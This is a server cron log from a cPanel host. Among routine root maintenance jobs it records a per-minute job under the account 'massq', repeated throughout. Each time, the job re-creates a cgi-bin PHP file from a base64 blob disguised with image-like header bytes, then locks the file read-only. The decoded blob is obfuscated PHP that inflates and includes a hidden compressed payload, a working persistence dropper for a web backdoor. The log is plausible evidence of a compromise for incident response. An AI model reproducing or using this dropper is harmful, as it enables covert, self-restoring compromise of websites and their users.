Sep  3 03:06:01 server CROND[17644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:06:01 server anacron[15091]: Job `cron.daily' started
Sep  3 03:06:01 server run-parts(/etc/cron.daily)[17658]: starting imunify-antivirus.cron
Sep  3 03:07:01 server CROND[18037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:07:01 server CROND[18038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:07:01 server CROND[18039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:08:01 server CROND[18426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:08:01 server CROND[18427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:08:01 server CROND[18429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:09:01 server CROND[18907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:09:01 server CROND[18908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:09:01 server CROND[18906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:09:01 server CROND[18909]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 03:10:01 server CROND[19302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:10:01 server CROND[19304]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:10:01 server CROND[19305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:10:01 server CROND[19308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:10:01 server CROND[19306]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:10:01 server CROND[19309]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:10:01 server CROND[19307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:10:01 server CROND[19310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:11:01 server CROND[20213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:11:01 server CROND[20214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:11:01 server CROND[20215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:12:01 server CROND[20590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:12:01 server CROND[20592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:12:01 server CROND[20591]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 03:12:01 server CROND[20593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:13:01 server CROND[20978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:13:01 server CROND[20980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:13:01 server CROND[20979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:14:01 server CROND[21470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:14:01 server CROND[21471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:14:01 server CROND[21472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:15:01 server CROND[21856]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:15:01 server CROND[21857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:15:01 server CROND[21859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:15:01 server CROND[21860]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 03:15:01 server CROND[21864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:15:01 server CROND[21865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:15:01 server CROND[21863]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:15:01 server CROND[21866]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:16:01 server CROND[22758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:16:01 server CROND[22760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:16:01 server CROND[22759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:17:01 server CROND[23313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:17:01 server CROND[23315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:17:01 server CROND[23314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:18:01 server CROND[23702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:18:01 server CROND[23703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
